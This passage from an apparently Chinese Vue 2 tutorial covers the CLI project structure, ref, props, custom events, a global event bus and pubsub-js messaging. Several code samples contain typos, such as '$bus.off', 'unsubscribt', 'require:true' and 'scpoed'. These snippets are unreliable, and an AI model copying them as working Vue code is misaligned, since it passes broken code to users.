3.启动项目,按照蓝色提示,先cd到该文件夹内,使用命令npm run serve启动项目

image-20221029201644543

完成访问

image-20221029202715621

脚手架的目录结构

创建的脚手架的基本目录结构:

image-20221029203020296

打开package.json文件,找到下面代码:

// 这里配置cmd命名框的命令
"scripts": {
	"serve": "vue-cli-service serve", // 启动Vue项目,开启服务器
	"build": "vue-cli-service build", // 构建Vue项目,将.vue文件编译成.html,.css和.js文件(一般用在项目上线的最后一次编译)
	"lint": "vue-cli-service lint" // 语法检查命令,比较少用,用于检查代码中一些不合理的编写方式
}

打开node_modules/vue/dist目录,可以看到很多个Vue的JS文件

image-20221029203055399

其中我们重点了解vue.jsvue.runtime.xxx.js

  • vue.jsVue的完整版文件包括Vue的核心功能 + 模板解析器(解析HTML的驱动)
  • vue.runtime.xxx.js是运行版本的Vue,只包含Vue的核心功能,不包含模板解析器
由于项目使用webpack打包后,所有的模板都已经编译为.html,.css和.js文件了,并不需要我们的模板解析器;而Vue模板解析器的体积占了整个Vue的1/3,所以Vue默认使用Vue.runtime.xxx.js这个只有Vue核心的JS文件

打开main.js入口文件:

// 引入Vue 这里实际上引入Vue.runtime,xxx,js
import Vue from 'vue'
// 引入App组件,组件管理器
import App from './App.vue'
// 关闭Vue的生产提示
Vue.config.productionTip = false

// Vue实例对象(vm)
new Vue({
  render: h => h(App), // 将App组件放入容器
}).$mount('#app') // 使用vm.$mount()指定Vue实例(vm)的el属性,指定容器

因为vue.runtime.xxx.js没有模板解析器,所以不能使用template配置项,需要使用render函数接收到的createElement函数去指定具体内容。


开打inde.html,我们进行一些小分析:

<!DOCTYPE html>
<html lang="">
  <head>
    <meta charset="utf-8">
    <!-- 针对IE浏览器的一个特殊配置,让IE浏览器以最高渲染级别渲染页面,IE8及一下不支持 -->
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <!-- 开启移动端的理想视口 -->
    <meta name="viewport" content="width=device-width,initial-scale=1.0">
    <!-- 配置页签图标           ↓ <%= BASE_URL %>表示public目录下 -->
    <link rel="icon" href="<%= BASE_URL %>favicon.ico">
    <!-- 配置网页标题 -->
    <title><%= htmlWebpackPlugin.options.title %></title>
  </head>
  <body>
    <!-- noscript标签作用:若浏览器不支持JS,显示标签内容 -->
    <noscript>
      <strong>We're sorry but <%= htmlWebpackPlugin.options.title %> doesn't work properly without JavaScript enabled. Please enable it to continue.</strong>
    </noscript>
    <!-- 容器 -->
    <div id="app"></div>
    <!-- built files will be auto injected -->
  </body>
</html>

脚手架的配置在vue.config.js文件中进行,详细的配置查看官网:https://cli.vuejs.org/zh/config/

image-20221101095533205

标签的ref属性

  • 作用:标签中的ref属性用来给标签元素或子组件注册引用标记(相当于原生的id属性)
  • 语法:使用<h1 ref="xxx"></h1>或者<School ref="xxx"/>标记,使用this.$refs.xxx获取元素的真实DOM元素子组件的组件实例对象(vm)

例:

Bokey组件:

<template>
  <div>
    <h2>姓名:{{name}}</h2>
    <h2>年龄:{{age}}</h2>
  </div>
</template>
<script>
export default {
    name:'MyBokey',
    data() {
        return {
            name:'Bokey',
            age:18
        }
    },
}
</script>

App组件:

<template>
  <div id="app">
    <h1 ref="h1">你好</h1>
    <MyBokey ref="Bokey"/>
    <button @click="show">点我输出获取的元素</button>
  </div>   <!-- ↑ 绑定点击事件输出 -->
</template>
<script>
// 引入MyBokey组件
import MyBokey from './components/Bokey.vue'
export default {
  name: 'App',
  components: {
    MyBokey
  },
  methods:{
      // 点击事件
    show(){   
      console.log(this.$refs.Bokey) // 输出
      console.log(this.$refs.h1); // 输出
    }
  }
}
</script>

结果:

image-20221029204440907

组件通信

props属性
  • 作用:用于组件通信,适用于父组件 ==> 子组件(虽然也可以实现子传父,但子传父亲一般用自定义事件)

  • 注意:props属性为只读属性,Vue底层会监测你对props的修改,如果进行了修改,就会发出警告;

  • 附:若业务需求确实需要修改,那么请复制props的内容到data中一份,然后去修改data中的数据

  • 语法:

    (1).传递数据:
    	<Demo name="xxx"/>
    (2).接收数据:
    第一种方式(只接收):
    	props: [ "name" ]
    第二种方式(限制类型):
    	props:{
          	/* 接收参数名 */:/* 参数类型 */
    		name : Number
    	}
    第三种方式(限制类型、限制必要性、指定默认值):
    	props:{
    		name:{
    			type:String,// 参数类型
    			required:true// 必要性,决定是否必须传
    			default:'老王'// 默认值,一般配置了required就不用配置默认值
    	}
    附:可以传递数组,对象,函数,字符串,数字...
    

例(父组件 ==> 子组件):

Bokey组件:

<template>
  <div>
    <h2>姓名:{{name}}</h2>
    <h2>年龄:{{MyAge}}</h2> <!-- 注意:这里是MyBokey组件的属性MyAge -->
    <h2>性别:{{sex}}</h2>
    <button @click="updateAge">点我加一岁</button>
  </div>
</template>
<script>
export default {
    name:'MyBokey',
    data() {
        return { // ↓ 接收的属性也可以使用"this.属性名"的方式获取
            MyAge:this.age // 这里将接收到的参数传递到自己的属性中
        }
    },
    // props接收其他组件参数的3种形式:
    // 1.简单接收:
    // props:['name','sex','age']
    // 2.类型限制接收:
    // props:{
    //   name:String,
    //   age:Number,
    //   sex:String
    // }
    // 3.多配置接收:
    props:{
      name:{
        type:String,
        require:true
      },
      age:{
        type:Number,
        default:18
      },
      sex:{
        type:String,
        require:true
      }
    },
    methods:{
      updateAge(){
        this.MyAge++
      }
    }
}
</script>

App组件:

<template>
  <div id="app">
    <h1>你好</h1>
      <!-- 传递参数 ↓           ↓ 默认以字符串传递,若需要传递JS表达式值,需要使用":属性名='值'的形式" -->
    <MyBokey name="Bokey" :age="20" sex=""/>
  </div>
</template>
<script>
import MyBokey from './components/Bokey.vue'
export default {
  name: 'App',
  components: {
    MyBokey
  }
}
</script>

结果(子组件MyBokey收到参数,成功展示,并且加一岁功能可用):

image-20221029205747535

例(子组件 ==> 父组件):

Bokey组件:

<template>
  <div>
    <h2>姓名:{{name}}</h2>
    <h2>年龄:{{MyAge}}</h2>
    <h2>性别:{{sex}}</h2>
    <button @click="updateAge">点我加一岁</button>
    <button @click="spendAge">点我发送名字给App组件</button>
  </div>
</template>

<script>
export default {
    name:'MyBokey',
    data() {
        return {
            MyAge:this.age
        }
    },
    props:{
      name:{
        type:String,
        require:true
      },
      age:{
        type:Number,
        default:18
      },
      sex:{
        type:String,
        require:true
      },
      // 子组件接收父组件提供的调用函数
      AppReceive:{
        require:true
      }
    },
    methods:{
      updateAge(){
        this.MyAge++
      },
      spendAge(){ // 子组件调用父组件提供的调用函数,并传递参数(自己的数据)给该函数
        this.AppReceive(this.MyAge)
      }
    }
}
</script>

App组件:

<template>
  <div id="app">
    <h1>你好</h1>                         <!-- ↓ 父组件提供函数传递给子组件 -->
    <MyBokey name="Bokey" :age="20" sex="" :AppReceive="receive"/>
  </div>
</template>
<script>
import MyBokey from './components/Bokey.vue'

export default {
  name: 'App',
  components: {
    MyBokey
  },
  methods:{
    // 父组件提供的调用函数 
    receive(data){
      console.log("我是App组件,我收到了数据:"+data);
    }
  }
}
</script>

结果(点击按钮发送年龄给App):

image-20221029212220141


总结:

/*
使用props属性的组件通信:

1.父组件 ==> 子组件(推荐):
	Ⅰ.父组件在子组件的标签中携带数据给子组件(eg:<Bokey :子组件接收名="this.数据名" :子组件接收名="this.数据名" />)
    Ⅱ.子组件使用props属性接收,完成通信
2.子组件 ==> 父组件:
	Ⅰ.父组件在methods属性中准备函数(子组件传递的数据写在函数参数中),在子组件标签中携带该函数给子组件(eg:<Bokey :子组件接收名="this.方法名" />)
	Ⅱ.子组件接收使用props接收父组件的函数,在合适时机调用(调用时将父组件需要的数据在函数参数中传递),完成通信
*/
组件的自定义事件
  • 作用:用于组件通信,适用于子组件 ==> 父组件

  • 注意:自定义事件只能用在组件上!

  • 语法:

    (1)在父组件中绑定自定义事件(前提是准备好了事件回调函数)第一种方式(传统绑定方式)<Bokey @/*事件名称*/:"事件回调函数名" />
        第二种方式($on绑定方式,更灵活)<Bokey ref="组件标记名" />
            // 省略一些其他代码....
            mounted(){ // 在mounted生命周期函数中绑定自定义事件
                this.$refs./*组件标记名*/.$on("事件名称",this./*事件回调函数名*/)
            }
    (2)子组件触发自定义事件:
    	this.$emit("事件名称",/*传递的数据*/)
    (3)解绑自定义事件:
        this.$off("事件名称")
    附:
    1.组件若需要使用原生的事件(eg:click事件),只需要绑定事件时:<Bokey @/*原生事件名*/.native="事件回调函数名" />
    2.触发自定义事件时,若输入的自定义事件名称不存在,并不会报错,Vue会就当没有事件触发处理
    3.若事件回调函数不想定义在组件的methods属性中,可以定义在this.$refs./*组件标记名*/.$on()中:
    	this.$refs./*组件标记名*/.$on("事件名称",(/*函数参数表列*/) => {
            // 函数体....
        })
    	// 注意:必须使用箭头函数,不然函数体中的this指针不是本组件的组件实例(vc),而是绑定事件的组件的组件实例(vc)!
    

例(子组件 ==> 父组件):

Bokey组件:

<template>
  <div class="Bokey">
    <h2>姓名:{{name}}</h2>
    <h2>年龄:{{age}}</h2>
    <button @click="spendName">点我把名字给App</button>
    <button @click="noCallFather">点我解绑自定义事件</button>
  </div>
</template>
<script>
export default {
    name:'MyBokey',
    data() {
        return {
            name:'Bokey',
            age:'20'
        }
    },
    methods:{
      spendName(){
        // 触发callFather自定义事件 ↓ 传递参数name
        this.$emit('callFather',this.name)
      },
      noCallFather(){
        // this.$off() 解绑所有绑定在该组件身上的自定义事件
        // this.$off(['callFather','callMother']) 解绑多个事件,注意:参数使用数组
        this.$off('callFather') // 解绑单个事件
      }
    }
}
</script>
<style>
.Bokey {
  background-color: skyblue;
  padding: 5px;
}
</style>

App组件:

<template>
  <div class="app">
    <h1>您好!{{sonName}}</h1>
    <!-- 使用传统绑定事件方法绑定自定义事件 -->
    <!--      ↓ 自定义事件callFather ↓ 事件回调函数getBokeyName -->
    <!-- <MyBokey @callFather="getBokeyName"/> -->
    <!-- 使用获取节点后$on()方法绑定自定义事件 -->
    <MyBokey ref="Bokey" />
  </div>
</template>
<script>
import MyBokey from './components/Bokey.vue'
export default {
  name: 'App',
  data() {
    return {
      sonName:''
    }
  },
  components: {
    MyBokey
  },
  methods:{
    // 事件回调函数
    getBokeyName(name){
      console.log("我收到了:" + name);
      this.sonName = name // 将name存入自己的data中
    }
  },
  // 获取节点后,在mouted生命周期函数(挂载完毕后调用)中,绑定自定义事件
  mounted(){
    // this.$refs.Bokey.$once('callFather',this.getBokeyName) 使用$once()绑定事件,事件只触发一次
    this.$refs.Bokey.$on('callFather',this.getBokeyName) // 使用$on()绑定事件
  }
}
</script>
<style>
.app {
  background-color: gray;
  padding: 5px;
}
</style>

结果:

image-20221031192234542


总结:

/*
对于 子组件 ==> 父组件 的组件通信,props属性实现方式和自定义事件的实现方式的异同:
不同点:props属性实现方式需要子组件使用props属性接收父组件传递过来的回调函数,自定义事件实现方式不用
相同点:它们都需要父组件提供一个回调函数给子组件,只是props属性实现方法需要将回调函数给子组件,而自定义事件实现方式是为子组件绑定事件,不用将函数给子组件
*/
全局事件总线(GlobalEventBus)
  • 定义:无论组件间关系如何,都能使用全局事件总线进行组件通信

  • 语法:

    (1)在Vue实例对象(vm)中安装全局事件总线:
    	new Vue({
     		render: h => h(App), 
      		beforeCreate(){ // 在Vue实例对象的beforeCreate生命周期函数中安装
        		Vue.prototype.$bus = this //安装全局事件总线$bus,其实$bus就是当前应用的vm
      		}
    	}).$mount('#app')
    (2)通信组件接收方准备回调函数,同时为vm.$bus绑定事件
        methods:{ // 定义回调
            /*回调函数名*/(/*接收数据的参数表列*/){
                // 回调函数处理...
            }
        }
    	mouted(){// 依然在mounted生命周期函数中绑定自定义事件
          // 为vm.$bus绑定自定义事件
          this.$bus.$on('自定义事件名称',this./*回调函数名*/)
        },
         beforeDestroy() { // 在beforeDestroy生命周期函数中解绑自定义事件,防止接收组件被销毁但事件依然在vm.$bus上绑定
          // 为vm.$bus解绑自定义事件
          this.$bus.$off('自定义事件名称')
        }
    (3)通信组件发送方触发事件,并发送数据
    	this.$bus.$emit('自定义事件名称',/*发送数据的参数表列*/)
    

例:

App组件:

<template>
  <div class="app">
      <!-- MyBokey组件和LZH组件的关系的兄弟 -->
    <MyBokey />
    <LZH />
  </div>
</template>
<script>
import MyBokey from './components/Bokey.vue'
import LZH from './components/LZH.vue'
export default {
  name: 'App',
  data() {
    return {
      
    }
  },
  components: {
    MyBokey,LZH
  }
}
</script>
<style>
.app {
  background-color: gray;
  padding: 5px;
}
</style>

main.js文件中安装事件总线:

new Vue({
  render: h => h(App), 
  beforeCreate(){
    Vue.prototype.$bus = this //安装全局事件总线,$bus就是当前应用的vm
  }
}).$mount('#app')

我们以LZH组件给Bokey组件(组件关系为兄弟)发送数据为例:

Bokey组件(数据接收方):

<template>
  <div class="Bokey">
    <h2>姓名:{{name}}</h2>
    <h2>年龄:{{age}}</h2>
  </div>
</template>
<script>
export default {
    name:'MyBokey',
    data() {
        return {
            name:'Bokey',
            age:'20'
        }
    },
    methods:{ // 回调函数准备
      call(data){
        console.log(data.name);
        console.log(data.age);
      }
    },
    mounted(){ // 依然在mounted生命周期函数中绑定自定义事件
      // 为vm.$bus绑定自定义事件
      this.$bus.$on('call',this.call)
    },
  beforeDestroy() { // 在beforeDestroy生命周期函数中解绑自定义事件
      // 为vm.$bus解绑自定义事件
      this.$bus.off('call')
    }
}
</script>
<style scoped>
.Bokey {
  background-color: skyblue;
  padding: 5px;
  margin-top: 5px;
}
</style>

LZh组件(数据发送方):

<template>
  <div class="LZH">
    <h2>姓名:{{name}}</h2>
    <h2>年龄:{{age}}</h2>
    <button @click="spend">点我发送数据</button>
  </div>
</template>
<script>
export default {
    name:'MyBokey',
    data() {
        return {
            name:'LZH',
            age:'18'
        }
    },
    methods:{
      spend(){
        // 使用vm.$bus触发事件
        this.$bus.$emit('call',this._data)
      }
    }
}
</script>
<style scpoed>
.LZH {
  background-color: pink;
  padding: 5px;
  margin-top: 5px;
}
</style>

结果:点击三次按钮

image-20221101093733757


问题:

  • 为什么选择Vue实例对象(vm)作为全局事件总线?
首先,我们得了解全局事件总线的原理,实际上,它从根本上使用的是自定义事件完成父组件和子组件通信。若想完成任意关系的组件都能通信,那么我们用通信双方组件共同的父组件作为中间键就可以完成,如下图:

image-20221101111333635

因为对父组件的两个要求,得出父组件只能是Vue实例对象(vm)或者Vue组件实例对象(vc);但在组件章节,我们知道组件实例对象(vc)是有多个(不方便管理)且需要自己new出来的(Vue在编译<Bokey/>时帮程序员new的,如果我们自己要就需要自己new);所以我们最终希望全局事件总线为Vue实例对象,也就是vm。

事件总线大致工作原理:

image-20221104214104774

消息订阅与发布(pubsub)
  • 作用:一种组件间通信的方式,适用于任意组件间的通信(和自定义事件基本相同)

  • 语法:

    (1)安装pubsub:在命令行终端输入"npm i pubsub-js"
    (2)引入pubsub:import pubsub from 'pubsub-js'
    (3)数据接收方准备回调函数,并订阅消息
    	methods:{ // 定义回调
            /*回调函数名*/(/*消息名称接收参数*/,/* 数据接收表列 */){
                // 回调函数处理...
            }
        }
    	mouted(){// 在mounted生命周期函数中订阅消息
          //使用pubsub订阅消息
          // ↓ 接收订阅消息的id,方便取消订阅    
          this.pid = pubsub.subscribe('消息名称',this./*回调函数名*/)
        },
         beforeDestroy() { // 在beforeDestroy生命周期函数中解绑订阅的消息,防止接收组件被销毁但消息依然订阅
          // 取消this.pid的消息订阅
          pubsub.unsubscribe(this.pid)
        }
    (4)数据发送方触发消息:
    	pubsub.publish('消息名称',/* 数据 */)
    附:
    若消息回调函数不想定义在组件的methods属性中,可以定义在this.pid = pubsub.subscribe()中:
    	this.pid = pubsub.subscribe('消息名称',(/*消息名称接收参数*/,/* 数据接收表列 */) => {
            // 函数体....
        })
    	// 注意:必须使用箭头函数,不然函数体中的this指针不是本组件的组件实例(vc),而是undefined!
    

例:

Bokey组件(数据接收方):

<template>
  <div class="Bokey">
    <h2>姓名:{{name}}</h2>
    <h2>年龄:{{age}}</h2>
  </div>
</template>
<script>
import pubsub from 'pubsub-js' 
export default {
    name:'MyBokey',
    data() {
        return {
            name:'Bokey',
            age:'20'
        }
    },
    methods:{
      call(msgName,data){ // 消息回调函数
        console.log(data.name);
        console.log(data.age);
      }
    },
    mounted(){ // 消息订阅
      this.pid = pubsub.subscribe('call',this.call)
    },
  beforeDestroy() { // 消息销毁
      pubsub.unsubscribt(this.pid)
    }
}
</script>

LZH组件:

<template>
  <div class="LZH">
    <h2>姓名:{{name}}</h2>
    <h2>年龄:{{age}}</h2>
    <button @click="spend">点我发送数据</button>
  </div>
</template>
<script>
import pubsub from 'pubsub-js'
export default {
    name:'MyBokey',
    data() {
        return {
            name:'LZH',
            age:'18'
        }
    },
    methods:{
      spend(){ // 发送消息
        pubsub.publish('call',{name:this.name,age:this.age})
      }
    }
}
</script>

结果:

image-20221101130642916

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值